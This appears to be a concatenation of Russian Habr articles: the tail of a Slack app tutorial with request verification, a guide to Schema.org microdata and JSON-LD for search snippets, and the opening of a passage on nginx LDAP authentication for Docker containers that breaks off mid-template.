Каждый поток инициализируется, когда пользователь выполняет actions, расположенные в меню сообщений. Как только срабатывает событие message\_action, Slack отправляет приложению payload по URL-адресу запроса, который был прописан ранее.
Эндпоинт можно прописать следующим образом:
```
/* Snippet 2 */
app.post('/actions', (req, res) => {
const payload = JSON.parse(req.body.payload);
const {type, user, submission} = payload;
// Verifying the request. I'll explain this later in this tutorial!
if (!signature.isVerified(req)) {
res.sendStatus(404);
return;
}
if(type === 'message_action') {
// open a dialog!
} else if (type === 'dialog_submission') {
// dialog is submitted
}
});
```
Если тип события — message\_action, приложение открывает диалог.
Потом добавляем код, определяющий структуру контента диалога, с открытием его в клиенте Slack, используя метод dialog.open:
```
/* Snippet 2.1 */
const dialogData = {
token: process.env.SLACK_ACCESS_TOKEN,
trigger_id: payload.trigger_id,
dialog: JSON.stringify({
title: 'Save it to ClipIt!',
callback_id: 'clipit',
submit_label: 'ClipIt',
elements: [
{
label: 'Message Text',
type: 'textarea',
name: 'message',
value: payload.message.text
},
{
label: 'Importance',
type: 'select',
name: 'importance',
value: 'Medium ',
options: [
{ label: 'High', value: 'High ' },
{ label: 'Medium', value: 'Medium ' },
{ label: 'Low', value: 'Low ️' }
],
},
]
})
};
// open the dialog by calling the dialogs.open method and sending the payload
axios.post('https://slack.com/api/dialog.open', qs.stringify(dialogData))
.then((result) => {
if(result.data.error) {
res.sendStatus(500);
} else {
res.sendStatus(200);
}
})
.catch((err) => {
res.sendStatus(500);
});
```
Здесь мы используем модуль axios для выполнения запроса POST к Slack; после этого метод dialog.open открывает диалог, отправляя HTTP статус 200.
Эндпоинт задействуется также в том случае, если диалог инициируется пользователем. В коде snippet 2 нужно ответить пустым запросом HTTP 200, чтобы Slack знал, что представление получено.
Наконец, мы отправляем пользователю сообщение с подтверждением, используя метод chat.postMessage.
```
/* Snippet 2.2 */
else if (type === 'dialog_submission') {
res.send('');
// Save the data in DB
db.set(user.id, submission); // this is a pseudo-code!
// DM the user a confirmation message
const attachments = [
{
title: 'Message clipped!',
title_link: `http://example.com/${user.id}/clip`,
fields: [
{
title: 'Message',
value: submission.message
},
{
title: 'Importance',
value: submission.importance,
short: true
},
],
},
];
const message = {
token: process.env.SLACK_ACCESS_TOKEN,
channel: user.id,
as_user: true, // DM will be sent by the bot
attachments: JSON.stringify(attachments)
};
}
```
Теперь давайте запустим код и посмотрим, как работает приложение в интеграции со Slack. Если все хорошо, выполняем последний шаг.
### Верификация запросов
Теперь давайте позаботимся о безопасности приложения и добавим верификацию запросов. Всегда верифицируйте любые запросы от Slack, перед тем как принимать их в работу.
Для этого возвращаемся в snippet 1, который расположен в самом верху. Заменяем то место, где есть комментарий //The next two lines will be modified later, на вот это:
```
/* Snippet 3 */
const rawBodyBuffer = (req, res, buf, encoding) => {
if (buf && buf.length) {
req.rawBody = buf.toString(encoding || 'utf8');
}
};
app.use(bodyParser.urlencoded({verify: rawBodyBuffer, extended: true }));
app.use(bodyParser.json({ verify: rawBodyBuffer }));
```
Я уже подключила криптографию в **verifySignature.js**, поэтому просто добавляем функцию в начало index.js:
```
const signature = require('./verifySignature');
```
Теперь выполняем верификацию:
```
if(!signature.isVerified(req)) { // when the request is NOT coming from Slack!
res.sendStatus(404); // a good idea to just make it “not found” to the potential attacker!
return;
}
```
Я рекомендую верифицировать запросы каждый раз, когда ваше приложение получает их от Slack.
Запускаем код снова, и, если все работает, как нужно, можно праздновать успех! Поздравляю!
> * Онлайн-курс [«Профессия frontend-разработчик»](https://skillbox.ru/frontend-developer/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=FRENDEV&utm_content=articles&utm_term=appforslack)
> * Практический курс [«Мобильный разработчик PRO»](https://skillbox.ru/agima/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=AGIMA&utm_content=articles&utm_term=appforslack).
> * Практический годовой курс [«PHP-разработчик с 0 до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=appforslack).
> | https://habr.com/ru/post/431346/ | null | ru | null |
# Schema.org своими руками: настраиваем микроразметку без программиста
Программисты сейчас обиделись, а не надо. Они же попробуют справиться без вас, а потом придут к вам же с просьбой починить все, что поломалось в процессе. Шутка. Почти.
Рассказываем о словаре и синтаксисе микроразметки, собрали несколько плагинов и инструментов для создания и проверки разметки, разобрали по шагам один из плагинов.
Рассказываем о том, зачем нужна разметка Schema.org, что она из себя представляет и как ее создавать без знания кода.
Зачем нужна микроразметка
-------------------------
Schema.org — стандарт семантической разметки данных, который помогает поисковикам лучше понимать данные, представленные на сайте. Например, с помощью разметки можно явно указать поисковым роботам, что на странице site.ru/product\_page1 находится товар, и передать основные параметры: название, цену, артикул, производителя и т.д. На основе этих данных поисковики формируют расширенные сниппеты в поисковой выдаче.
Кроме Schema.org есть другие виды микроразметок. У них разные назначения, поэтому вкратце приведем свойства основных видов, чтобы не путать:
* [Open Graph](https://blog.promopult.ru/smm/kak-i-zachem-ispolzovat-razmetku-open-graph.html). Микроразметка Facebook, используется для настройки правильного отображения публикации в соцсетях при репосте статьи с вашего сайта (заголовок, описание, правильная картинка). Изначально разметка была создана для Facebook, сейчас поддерживается и другими соцсетями и мессенджерами (ВКонтакте, Твиттер, Телеграм и т.д.).
* [Микроформаты](http://microformats.org/). Разработка W3C, создан в 2007 году. Подходит для разметки товаров, отзывов, контактной информации и других видов контента. Раньше использовался более активно, сейчас имеет ряд недостатков, недостаточно быстро развивается и уступает Schema.org.
* [Dublin Core](https://www.dublincore.org/). Этот словарь разметки используют библиотеки и музеи — позволяет описывать книги и музейные экспонаты.
**Содержание статьи**[Зачем нужна микроразметка](#id1)
[Разница между словарем и синтаксисом](#id2)
[Чем различаются сайты с разметкой и без нее](#id3)
[Чем еще полезна микроразметка](#id4)
[Словарь Schema.org](#id5)
[Оптимальный синтаксис](#id6)
[JSON-LD](#id7)
[Как делать разметку JSON-LD](#id8)
[Проверка валидности разметки](#id9)
[Куда вставлять JSON-LD?](#id10)
[Микроданные](#id11)
[Сервисы для генерации микроданных](#id12)
[Внедряем микроразметку самостоятельно и без знания кода](#id13)
[Автоматическая разметка страниц с помощью Маркера данных](#id14)
[Сайт на CMS? Используйте плагины](#id15)
[Выжимка](#id16)
### Разница между словарем и синтаксисом
Словарь — это набор классов и свойств, которые описывают тип содержимого страницы и передают ключевую информацию. Словарь можно сравнить с языком — например, английским. Schema.org, Open Graph, Dublin Core — все это словари.
Синтаксис — это способ указания сущностей и свойств словаря в html-коде страниц сайтов. Если словарь — это английский язык, то синтаксис можно сравнить с латиницей.
Варианты синтаксиса, которые применяются для разметки Schema.org:
* микроданные;
* микроформаты;
* RDFa;
* [JSON-LD](https://blog.promopult.ru/seo/format-mikrorazmetki-json-ld-chto-eto-takoe.html).
Подробнее о том, какой синтаксис лучше, поговорим чуть позже.
### Чем различаются сайты с разметкой и без нее
Сайты с реализованной микроразметкой видно по сниппетам на странице поисковой выдачи. Вот пример: в выдаче два сниппета с одного и того же сайта, первый — с микроразметкой, второй — без нее.
А так выглядит сниппет страницы с афишей кинофильмов, если на странице есть микроразметка:
С помощью микроразметки в сниппетах страниц товаров отображаются цены:
И еще один пример: в первом сниппете реализована микроразметка хлебных крошек, а во втором такой разметки нет:
> Больше информации о разметке Schema.org, а также перечень поддерживаемых сущностей — [в справке Яндекса](https://yandex.ru/support/webmaster/schema-org/what-is-schema-org.html).
>
>
>
> А здесь — [виды расширенных результатов поиска](https://developers.google.com/search/docs/guides/search-gallery) в Google (отображаются для сайтов с реализованной микроразметкой).
>
>
#### Что говорят поисковики
Яндекс и Google советуют вебмастерам и оптимизаторам внедрять микроразметку. Основная мотивация: внедрение микроразметки улучшает сниппет визуально, а также повышает качество поиска (поисковые роботы лучше понимают содержимое сайта, на страницах которого реализована семантическая разметка данных).
> [Модуль SEO](https://promopult.ru/technology/seo?utm_medium=paid_article&utm_source=habr&utm_campaign=blog&utm_term=2a083d94a5990829&utm_content=seo) в системе Promopult: все инструменты для улучшения качества сайта и поискового продвижения. Полный комплекс работ — с нами вы не упустите ни одной мелочи. Чек-листы, подсказки, прозрачная отчетность и рекомендации профессионалов. Гарантии, оплата работ в рассрочку. (С разметкой тоже поможем).
>
>
### Чем еще полезна микроразметка
Микроразметка выгодно выделяет ваш сниппет в поисковой выдаче на фоне конкурентов (если у них разметки нет или реализовано меньше фич). Даже если вы показались в выдаче ниже конкурентов, вы можете получить столько же кликов, а то и больше: ваш сниппет занимает больше места, содержит больше полезной информации для пользователя.
И тут срабатывает такая цепочка: привлекательный сниппет → больше пользователей кликают и переходят на сайт → улучшаются [поведенческие факторы](https://blog.promopult.ru/seo/chto-takoe-povedencheskie-faktory-i-kak-ix-optimizirovat.html) → вы ранжируетесь лучше и поднимаетесь в выдаче.
Также микроразметку используют собственные сервисы поисковиков — например, страница с реализованной разметкой может попасть в [колдунщики](https://promopult.ru/library/%D0%9A%D0%BE%D0%BB%D0%B4%D1%83%D0%BD%D1%89%D0%B8%D0%BA) на поисковой выдаче (при этом сам сайт не обязательно должен быть в ТОПе выдачи).
Словарь Schema.org
------------------
Словарь микроразметки состоит из сущностей (например, Продукт) и свойств, которые описывают параметры сущности (SKU, цена, наличие и т.д.).
Весь список сущностей и документация — на официальном сайте [schema.org](https://schema.org/docs/full.html).
*На скриншоте — часть сущностей (слева) и свойств сущности Thing (в правой части скриншота)*
Рассказывать о всех сущностях не будем, приведем примеры самых популярных:
* **Product** — сущность, которая используется для разметки любого товара или услуги. Например, пара кроссовок, билет на концерт, аренда автомобиля и т.д. У сущности этого типа есть много свойств, которые позволяют передать больше информации о товаре/услуге: название, рейтинг, бренд, цвет, категорию, ширину, высоту, вес, SKU и т.д.
* **Event** (событие). Сущность для описания событий, происходящих в определенное время и в определенном месте: концерт, лекция, фестиваль и т.д. Также в Schema.org есть более специфичные типы сущностей Event для разных видов событий. Например, бизнес события (BusinessEvent), фестиваль (Festival), спортивное событие (SportsEvent).
* **Recipe** — для разметки рецептов. С помощью свойств сущности можно разметить время приготовления, калорийность, перечень ингредиентов, пошаговую инструкцию.
* **Review** (отзывы). Свойства сущности — рейтинг и «тело» отзыва.
Оптимальный синтаксис
---------------------
Мы уже упоминали о том, что для Schema.org подходят четыре вида синтаксиса:
* RDFa;
* микроформаты;
* микроданные;
* JSON-LD.
Первые три имеют ряд недостатков и теряют популярность, а последний (JSON-LD) — используется все чаще.
Google [рекомендует](https://webmasters.googleblog.com/2014/03/musical-artists-your-official-tour.html) использовать именно JSON-LD — он более простой и компактный, в отличие от RDFa, микроформатов и других синтаксисов.
Но есть проблема: Яндекс пока не поддерживает синтаксис JSON-LD на поиске (хотя использует его в Яндекс.Почте). Поэтому, если вы продвигаетесь в Рунете (а скорей всего так и есть), вам этот синтаксис нет смысла использовать. В таком случае ваш выбор — микроданные или RDFa (микроформаты тоже вариант, но их используют не так часто — этот синтаксис имеет ряд ограничений и устарел по сравнению с другими стандартами).
> Если ваш продукт или бизнес направлен на западный сегмент интернета и Google для вас в приоритете — используйте JSON-LD.
>
>
JSON-LD
-------
Теперь о деталях. Поговорим о том, как выглядит синтаксис и какие правила в нем действуют.
JSON-LD в базовом виде выглядит так:
```
{
//здесь помещаются элементы
}
```
Эта конструкция — своего рода каркас, который всегда есть по умолчанию (как теги , и в структуре любой html-страницы). Внутри каркаса размещается непосредственно код микроразметки, который содержит необходимые данные: сущность, свойства и их значения.
Вот как выглядит разметка
```
{
"@context": "https://schema.org/", //здесь указывается словарь разметки — Schema.org
"@type": "Product", //объявляется сущность — товар
"name": "iPhone", // свойство — название товара
"image": "https://site.ru/iphone10.png", // URL изображения товара
"description": "iPhone 10", // описание
"brand": "Apple", // бренд-производитель
"aggregateRating": { //рейтинг товара
"@type": "AggregateRating",
"ratingValue": "5", //средняя оценка
"ratingCount": "56" //количество пользовательских оценок
}
}
```
> Обратите внимание! Наличие микроразметки не гарантирует того, что в поиске будет выводиться расширенный сниппет со всеми данными, указанными в разметке. Тем не менее, поисковые роботы все равно будут учитывать переданные данные и смогут лучше понимать содержимое страницы.
>
>
### Как делать разметку JSON-LD
Ручная разметка в JSON-LD (да и в любом другом синтаксисе) — рутинная задача, отнимает много времени и всегда остается риск допустить ошибку. Упростить задачу можно с помощью генераторов JSON-LD, вот несколько популярных:
* [technicalseo.com](https://technicalseo.com/tools/schema-markup-generator/) — простой генератор, в котором можно разметить наиболее часто используемые сущности (Статья, Хлебные крошки, Событие, FAQ-страница, Товар и т.д.). Выберите нужную сущность из выпадающего списка и укажите нужные значения свойств.
* [schemaapp.com](https://www.schemaapp.com/tools/jsonld-schema-generator/) — продвинутый инструмент для профессионалов (платный, есть 14-дневный пробный период). Поддерживает все сущности Schema.org.
* [hallanalysis.com](https://hallanalysis.com/json-ld-generator/) — простой и бесплатный сервис. На момент написания статьи в нем можно создать разметку для шести сущностей.
### Проверка валидности разметки
При создании микроразметки важно, чтобы синтаксис был правильным и без ошибок. Даже если вы генерируете JSON-LD с помощью специальных плагинов или сервисов, не спешите загружать код на сайт, сначала проверьте его на валидность.
Для проверки кода используйте валидаторы от поисковиков:
* [Structured Data Testing Tool](https://search.google.com/structured-data/testing-tool/u/0/?hl=ru) от Google;
* [Валидатор микроразметки](https://webmaster.yandex.ru/microtest.xml) от Яндекса.
### Куда вставлять JSON-LD?
Если код валиден (валидатор не нашел ошибок) — можете смело добавлять разметку на сайт. Для этого код нужно вставить между тегами и на целевой странице.
> Больше о синтаксисе JSON-LD читайте [здесь](https://blog.promopult.ru/seo/format-mikrorazmetki-json-ld-chto-eto-takoe.html?utm_medium=post&utm_source=blog&utm_campaign=blog_post&utm_content=similar_article).
>
>
Микроданные
-----------
В микроданных используется язык разметке HTML (в JSON-LD — JavaScript). Работать с этим синтаксисом сложнее — код разметки нужно прописывать в теле контента.
В основе микроданных — три атрибута:
* itemscope — указывает, что в блоке (...) задается элемент (сущность);
* itemtype — указывает на тип сущности;
* itemprop — обозначает свойства сущности.
Вот как это выглядит:
```
Джокер
======
Режиссер:
Тодд Филлипс
(род. 20 декабря 1970 г.)
Научная фантастика
[Трейлер](../movies/interstellar-2-trailer.html)
```
Прописывать такой код вручную — довольно трудоемкая и рутинная задача.
### Сервисы для генерации микроданных
Хорошая новость в том, что для микроданных также существуют специальные сервисы-генераторы:
* [webcode.tools](https://webcode.tools/microdata-generator) — бесплатный генератор, для разметки доступно 14 сущностей. В сервисе также можно создавать разметку в синтаксисе JSON-LD;
* [htmlstrip.com](http://htmlstrip.com) (поддерживает 3 сущности: Местный бизнес, Персона, Вебсайт);
* [Local Business Schema Generator](https://microdatagenerator.org/localbusiness-microdata-generator/) — узконаправленный генератор. С его помощью можно сгенерировать разметку в формате микроданных или JSON-LD для одной сущности — Местный бизнес.
Сгенерируйте код и проверьте его на наличие ошибок (теми же сервисами).
Внедряем микроразметку самостоятельно и без знания кода
-------------------------------------------------------
Покажем вам простой способ, как быстро и без единой строчки кода подключить микроразметку.
### Автоматическая разметка страниц с помощью Маркера данных
Google разработал специальный инструмент для максимально простого внедрения микроразметки — [Маркер данных](https://www.google.com/webmasters/tools/data-highlighter).
Чем удобен инструмент:
* не нужно писать код или пользоваться генераторами, не нужно проверять валидность разметки;
* вы размечаете одну страницу, а Google автоматически реализует разметку для всех страниц сайта этого типа (например, для всех товаров).
#### Как пользоваться
Переходим в [Маркер данных](https://www.google.com/webmasters/tools/data-highlighter) и выбираем подтвержденный ресурс;
* Указываем URL типичной страницы сайта. Например, для интернет-магазина — укажите адрес страницы товара. Если у вас блог или информационный портал — укажите адрес страницы со статьей. Система определит страницы похожего типа и объединит их в группу. Ваша задача — проставить разметку для одной страницы, для остальных она проставится автоматически.
* Выбираем тип информации и жмем «Начать выделение».
* В интерфейсе инструмента загрузится страница сайта. В области «Мои элементы данных» в правой части экрана будет показан список свойств, которые доступны для выбранного типа сущности. Также здесь указывается, какие из доступных свойств являются обязательными. Выделите элемент страницы (например, название товара или заголовок статьи) и выберите нужное свойство во всплывающем меню.
* Подобным образом разметьте все обязательные и дополнительные элементы. Затем нажмите «Готово». Во всплывающем окне инструмент предложит выбрать группу похожих страниц, подобранных системой, или создать свою группу. Выберите нужный вариант и нажмите «Создать группу страниц».
* На следующем шаге система предложит проверить корректность разметки других страниц. Если похожих страниц много — система покажет несколько образцов страниц. Проверьте разметку и исправьте ошибки, если какие-то элементы система разметила неверно. Затем опубликуйте микроразметку.
Роботы Google просканируют страницы сайта и учтут заданную микроразметку.
#### Как изменить или убрать микроразметку
<>Откройте Search Console и перейдите в раздел «Маркер». Выберите группу страниц, которые вы добавляли при разметке. Отредактируйте их или удалите группу полностью.
Когда робот Google снова просканирует страницы сайта, разметка перестанет учитываться и в поисковой выдаче будут отображаться обычные сниппеты.
> **Обратите внимание!** Маркер передает данные только для робота Google. Если вы продвигаетесь в Яндексе, вам все равно придется добавлять код микроразметки на страницы. К счастью, для этого по-прежнему не обязательно знание кода.
>
>
### Сайт на CMS? Используйте плагины
Рассмотрим самую популярную CMS в Рунете — Вордпресс. Для Вордпресс есть несколько решений, которые помогут просто и быстро внедрить микроразметку. Вот обзор плагинов, подходящих для этой задачи:
* [Schema — All In One Schema Rich Snippets](https://ru.wordpress.org/plugins/all-in-one-schemaorg-rich-snippets/). Бесплатный плагин, размечает данные в формате микроданных (подойдет при продвижении в Яндексе, так как вы не можете использовать JSON-LD). Плагин подойдет для разметки товаров, отзывов, кулинарных рецептов, событий и еще нескольких часто используемых видов контента.
* [WP SEO Structured Data Schema](https://ru.wordpress.org/plugins/wp-seo-structured-data-schema/). Этот плагин также реализует разметку на основе синтаксиса микроданных. У плагина есть две версии. В бесплатной можно разметить данные об организации и локальном бизнесе, товары, услуги, статьи, видео, отзывы и еще парочку типов контента. В платной версии — больше возможностей (стоит платная версия 49$).
* [Schema](https://ru.wordpress.org/plugins/schema/). С помощью плагина можно сделать разметку в синтаксисе JSON-LD. У плагина есть бесплатная и платная версии (от 99$). Функционал бесплатной несколько урезан — доступна разметка для статей, блога, хлебных крошек, хедера и футера сайта, видео и еще несколько элементов. Для разметки товаров, услуг и других сущностей Schema.org придется покупать платную версию.
* [Schema & Structured Data for WP & AMP](https://wordpress.org/plugins/schema-and-structured-data-for-wp/). Продвинутый плагин для разметки Schema.org с помощью синтаксиса JSON-LD. В плагине можно использовать 33 сущности Schema. Доступен в двух версиях: бесплатная и Про (от 49$).
#### Настройка микроразметки в плагине [Schema](https://ru.wordpress.org/plugins/schema/): пошаговая инструкция
Установите плагин и кликните по разделу Schema, который появится в боковом меню админпанели. Перейдите в раздел Settings → General. Выберите тип сайта и загрузите логотип.
Сохраните изменения и перейдите на вторую вкладку — Knowledge Graph. Здесь вам нужно указать, кого представляет сайт — выберите Person, если это личный сайт, или Organization (если продвигаете сайт компании).
Перейдите на вкладку Schemas. Выберите из выпадающих списков страницы «О себе» и «Контакты». Если хотите подключить разметку хедера и футера, хлебных крошек и других элементов страниц сайта — поставьте галочки напротив соответствующих параметров.
Также можно настроить автоматическое удаление микроразметки, если будет удален плагин Schema. Для этого перейдите на вкладку Advanced и поставьте галочку напротив «Delete Data on Uninstall».
Сохраните изменения. Проверьте исходный код страниц сайта — в разделе ... появится код микроразметки в формате JSON-LD.
Попробуйте проверить разметку в валидаторе Google (на всякий случай). Плагин работает корректно, поэтому ошибок не должно быть — смело загружайте код на сайт.
Примерно так же строится работа с другими плагинами для Вордпресс. Главное преимущество — вам не нужно разбираться в синтаксисе и прописывать все параметры вручную.
Выжимка
-------
* Schema.org — большой словарь, с помощью которого можно описать данные любого типа и передать поисковым роботам детальную информацию о продуктах, услугах и других сущностях.
* Микроразметка улучшает внешний вид сниппета в поисковой выдаче. Сниппет выглядит привлекательно и информативно → растет CTR.
* Продвигаетесь в Яндексе? Реализуйте микроразметку с помощью синтаксиса микроданных или RDFa.
* Если продвигаетесь только в Google — воспользуйтесь рекомендацией поисковика и размечайте данные в JSON-LD.
* В Google можно и проще. Маркер данных в Search Console поможет реализовать разметку в несколько кликов (без кода, плагинов или сторонних сервисов).
* Не пишите код вручную — используйте генераторы. Это сэкономит кучу времени и убережет от ошибок.
* Проверяйте ошибки с помощью валидаторов.
Если у вас сайт на Вордпресс — поставьте плагины для микроразметки и используйте их. Если сайт на другой CMS — поищите аналоги, скорей всего они есть и вам не нужно будет прописывать микроразметку вручную. | https://habr.com/ru/post/486764/ | null | ru | null |
# Docker и аутентификация через Nginx
Одна из досадных проблем, которые встают при создании NAS, заключается в том, что не всякое программное обеспечение может работать с LDAP, а [некоторое](https://github.com/d0u9/youtube-dl-webui) вообще не содержит механизмов аутентификации.
Решением является сквозная аутентификация через обратный прокси.
Пример того, как это сделать, весьма подробно разобран, например в [этой статье](https://www.tune-it.ru/web/asddsa1137/home/-/blogs/%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D1%80%D0%B0%D0%B7%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0-%D0%BA-web-%D1%80%D0%B5%D1%81%D1%83%D1%80%D1%81%D1%83-%D1%87%D0%B5%D1%80%D0%B5%D0%B7-ldap-%D0%B2-nginx).
Поскольку данная статья является частью [NAS цикла](https://habr.com/ru/post/359346/),
здесь я остановлюсь на том, как приспособить данное решение к сервисам в Docker-контейнерах.
Решение основывается на примере реализации аутентификации через внешнего агента [Nginx LDAP Auth](https://github.com/nginxinc/nginx-ldap-auth), но я использую [контейнеризованный вариант от LinuxServer.io](https://github.com/linuxserver/docker-ldap-auth) потому, что это готовый образ, соответствующий определённым стандартам.
Единственная проблема заключалась в том, что патчи LinuxServer.io сломали базовую HTTP аутентификацию, но после того, как влили [багфикс](https://github.com/linuxserver/docker-ldap-auth/pull/18), пользоваться этим стало опять возможно.
Аутентификация в общем случае
-----------------------------
Как показано в статьях, аутентификация производится по следующей схеме:
* Клиент обращается к сервису.
* Обратный прокси делает перенаправление, если установлен cookie.
* Если cookie нет, делается запрос к сервису аутентификации.
* Сервис аутентификации запрашивает логин и пароль, которые проверяет через обращение к LDAP серверу.
* Если проверка успешна, он устанавливает cookie и выполняет перенаправление на сервис.
Альтернативным вариантом может являться использование компилируемого модуля для nginx, но я данный вариант здесь не рассматриваю с силу некоторых проблем с данным модулем и меньшей его гибкости.
Доработанный образ для OpenLDAP сервера есть [здесь](https://github.com/artiomn/nginx-proxy-ldap).
Аутентификация контейнеров
--------------------------
В рамках NAS, сервисы работают в контейнерах, поэтому есть желание сделать так, чтобы возможно было переключать режимы аутентификации, просто установив переменные внутри контейнера.
Такой механизм уже есть в используемом [образе ngingx-proxy](https://github.com/jwilder/nginx-proxy) и реализован он через шаблоны, которые обрабатывает [docker-gen](https://github.com/jwilder/docker-gen).
Он подставляет в шаблон метаданные, которые содержат описание запущенных в данный момент контейнеров Docker.
Таким образом, всё что надо сделать — это доработать шаблон конфигурации обратного прокси так, чтобы при наличии условной переменной в контейнере, было включено перенаправление на сервис сквозной аутентификации, который также работает в контейнере.
Затем, внести соответствующие коррективы в конфигурацию docker-compose.
Реализация аутентификации
-------------------------
### Модификация шаблона конфигурации nginx-proxy
В первую очередь добавляется новый upstream, который позволяет обращаться к сервису аутентификации в конфиге:
```
proxy_cache_path cache/ keys_zone=auth_cache:10m;
upstream ldap-backend {
server {{ $.Env.LDAP_BACKEND }}:{{ or $.Env.LDAP_LOGIN_PORT "9000" }};
}
```
Видно, что сервис аутентификации работает на хосте `${LDAP_BACKEND}` и порту `${LDAP_LOGIN_PORT }`, по умолчанию 9000.
Значения переменных будут подставлены docker-gen так, что данная часть конфига будет выглядеть следующим образом в `/etc/nginx/conf.d/default.conf` внутри контейнера:
```
### LDAP
proxy_cache_path cache/ keys_zone=auth_cache:10m;
upstream ldap-backend {
server ldap-auth:9000;
}
###
```
Следующее дополнение устанавливает переменную `ext_ldap_auth`, если в контейнере некоего сервиса была взведена переменная `LDAP_EXT_AUTH`.
Также, устанавливаются ещё несколько переменных для настройки аутентификации.
```
{{/* Nginx LDAP authentication enabled */}}
{{ $ext_ldap_auth := parseBool (or (first (groupByKeys $containers "Env.LDAP_EXT_AUTH")) "false") }}
{{/* User need to be participated in these groups to use service */}}
{{ $ldap_add_groups := or (first (groupByKeys $containers "Env.LDAP_EXT_ADD_GROUPS")) "" }}
{{/* Use HTML login page or HTTP Basic authentication */}}
{{ $ldap_use_login_page := parseBool (or $.Env.LDAP_USE_LOGIN_PAGE "false" ) }}
```
Основной блок дополнений приведён ниже. Он активируется, только если установлена переменная `ext_ldap_auth`.
Если `ldap_use_login_page` установлена, то будет включено перенаправление на страницу аутентификации, иначе будет использовано окно базовой аутентификации HTTP.
Путь `/auth-proxy` — это и есть перенаправление на сервис аутентификации.
Параметры будут переданы через заголовки HTTP.
Какие параметры и для чего нужны, вполне подробно описано в комментариях.
**LDAP секция**
```
{{ if ($ext_ldap_auth) }}
### LDAP
{{ if ($ldap_use_login_page) }}
location /login-ldap {
proxy_pass http://{{ $.Env.LDAP_BACKEND }}:{{ or $.Env.LDAP_LOGIN_PORT "9000" }};
# Login service returns a redirect to the original URI
# and sets the cookie for the ldap-auth daemon
proxy_set_header X-Target $request_uri;
proxy_pass_request_body off;
proxy_set_header Content-Length "";
proxy_cache auth_cache;
proxy_cache_valid 200 10m;
proxy_cache_key "$http_authorization$cookie_nginxauth";
proxy_set_header X-CookieName "nginxauth";
proxy_set_header Cookie nginxauth=$cookie_nginxauth;
}
{{ end }}
location = /auth-proxy {
internal;
# The ldap-auth daemon listens on port $LDAP_BACKEND_PORT (8888, by default), as set
# in nginx-ldap-auth-daemon.py.
# Change the IP address if the daemon is not running on
# the same host as NGINX/NGINX Plus.
proxy_pass http://{{ $.Env.LDAP_BACKEND }}:{{ or $.Env.LDAP_BACKEND_PORT "8888" }};
proxy_pass_request_body off;
proxy_set_header Content-Length "";
proxy_cache auth_cache;
proxy_cache_valid 200 10m;
# The following directive adds the cookie to the cache key
proxy_cache_key "$http_authorization$cookie_nginxauth";
# As implemented in nginx-ldap-auth-daemon.py, the ldap-auth daemon
# communicates with a LDAP server, passing in the following
# parameters to specify which user account to authenticate. To
# eliminate the need to modify the Python code, this file contains
# 'proxy_set_header' directives that set the values of the
# parameters. Set or change them as instructed in the comments.
#
# Parameter Proxy header
# ----------- ----------------
# url X-Ldap-URL
# starttls X-Ldap-Starttls
# basedn X-Ldap-BaseDN
# binddn X-Ldap-BindDN
# bindpasswd X-Ldap-BindPass
# cookiename X-CookieName
# realm X-Ldap-Realm
# template X-Ldap-Template
# (Required) Set the URL and port for connecting to the LDAP server,
# by replacing 'example.com'.
# Do not mix ldaps-style URL and X-Ldap-Starttls as it will not work.
proxy_set_header X-Ldap-URL "{{ $.Env.LDAP_HOST }}";
# (Optional) Establish a TLS-enabled LDAP session after binding to the
# LDAP server.
# This is the 'proper' way to establish encrypted TLS connections, see
# http://www.openldap.org/faq/data/cache/185.html
{{ if eq ("$.Env.LDAP_METHOD") "start_tls" }}
proxy_set_header X-Ldap-Starttls "true";
{{ end }}
# (Required) Set the Base DN, by replacing the value enclosed in
# double quotes.
proxy_set_header X-Ldap-BaseDN "{{ $.Env.LDAP_BASE }}";
# (Required) Set the Bind DN, by replacing the value enclosed in
# double quotes.
proxy_set_header X-Ldap-BindDN "{{ $.Env.LDAP_BIND_DN }}";
# (Required) Set the Bind password, by replacing 'secret'.
proxy_set_header X-Ldap-BindPass "{{ $.Env.LDAP_PASS }}";
# (Required) The following directives set the cookie name and pass
# it, respectively. They are required for cookie-based
# authentication. Comment them out if using HTTP basic
# authentication.
proxy_set_header X-CookieName "nginxauth";
proxy_set_header Cookie nginxauth=$cookie_nginxauth;
# (Required if using Microsoft Active Directory as the LDAP server)
# Set the LDAP template by uncommenting the following directive.
#proxy_set_header X-Ldap-Template "(sAMAccountName=%(username)s)";
# (May be required if using Microsoft Active Directory and
# getting "In order to perform this operation a successful bind
# must be completed on the connection." errror)
#proxy_set_header X-Ldap-DisableReferrals "true";
# (Optional if using OpenLDAP as the LDAP server) Set the LDAP
# template by uncommenting the following directive and replacing
# '(cn=%(username)s)' which is the default set in
# nginx-ldap-auth-daemon.py.
{{ $ldap_filter := $.Env.LDAP_USER_FILTER }}
{{ $ldap_filter := (printf "(&%s%s)" $ldap_filter $ldap_add_groups) }}
proxy_set_header X-Ldap-Template "{{ $ldap_filter }}";
# (Optional) Set the realm name, by uncommenting the following
# directive and replacing 'Restricted' which is the default set
# in nginx-ldap-auth-daemon.py.
#proxy_set_header X-Ldap-Realm "Restricted";
}
### /LDAP
{{ end }}
```
И последнее, когда LDAP аутентификация для сервиса включена, добавляется `auth_request` в его location:
```
location / {
{{ if ($ext_ldap_auth) }}
auth_request /auth-proxy;
{{ if ($ldap_use_login_page) }}
# redirect 401 to login form
# Comment them out if using HTTP basic authentication.
# or authentication popup won't show
error_page 401 =200 /login-ldap;
{{ end }}
{{ end }}
```
Ниже приведён полный листинг шаблона.
**nginx.tmpl**
```
{{ $CurrentContainer := where $ "ID" .Docker.CurrentContainerID | first }}
{{ define "upstream" }}
{{ if .Address }}
{{/* If we got the containers from swarm and this container's port is published to host, use host IP:PORT */}}
{{ if and .Container.Node.ID .Address.HostPort }}
# {{ .Container.Node.Name }}/{{ .Container.Name }}
server {{ .Container.Node.Address.IP }}:{{ .Address.HostPort }};
{{/* If there is no swarm node or the port is not published on host, use container's IP:PORT */}}
{{ else if .Network }}
# {{ .Container.Name }}
server {{ .Network.IP }}:{{ .Address.Port }};
{{ end }}
{{ else if .Network }}
# {{ .Container.Name }}
{{ if .Network.IP }}
